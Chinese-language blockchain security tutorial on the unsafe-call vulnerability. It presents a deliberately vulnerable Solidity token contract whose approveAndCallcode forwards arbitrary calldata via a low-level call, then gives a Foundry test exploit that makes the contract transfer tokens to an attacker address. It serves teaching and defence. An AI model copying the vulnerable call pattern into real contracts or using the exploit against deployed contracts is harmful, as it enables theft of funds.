区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability
- 1.1 漏洞合约
- 1.2 漏洞分析
- 1.3 攻击步骤分析
- 1.4 攻击合约
Name: 不安全调用漏洞 (Unsafe Call Vulnerability)
重点: 在 TokenWhale 合约的 approveAndCallcode
函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData)
执行恶意代码,例如调用 transfer
函数将资金转移给攻击者,从而实现重入攻击并窃取资金。
1.1 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 "call"。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import "forge-std/Test.sol";contract TokenWhale {address player;uint256 public totalSupply;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;string public name = "Simple ERC20 Token";string public symbol = "SET";uint8 public decimals = 18;function TokenWhaleDeploy(address _player) public {player = _player;totalSupply = 1000;balanceOf[player] = 1000;}function isComplete() public view returns (bool) {return balanceOf[player] >= 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] >= value);require(balanceOf[to] + value >= balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] >= value);require(balanceOf[to] + value >= balanceOf[to]);require(allowance[from][msg.sender] >= value);allowance[from][msg.sender] -= value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] = _value;bool success;// vulnerable call execute unsafe user code(success, ) = _spender.call(_extraData);console.log("success:", success);}
}
1.2 漏洞分析
approveAndCallcode()函数中的call可以调用_spender地址的任意函数。
1.3 攻击步骤分析
- 调用
approveAndCallcode
函数,将_spender
参数设置为TokenWhaleContract
合约的地址。
- 将
_extraData
参数设置为transfer
函数的函数签名及其参数,触发低级调用call
,从而执行transfer
函数,实现重入攻击。
- 输出结果
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./UnsafeCall.sol";contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract = new TokenWhale();Koko = vm.addr(1);Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract = new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log("TokenWhale balance:",TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);bytes memory _extraData = abi.encodeWithSignature("transfer(address,uint256)",address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log("Attack success!!");TokenWhaleBalance = TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log("TokenWhale Balance:", TokenWhaleBalance);AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);}
}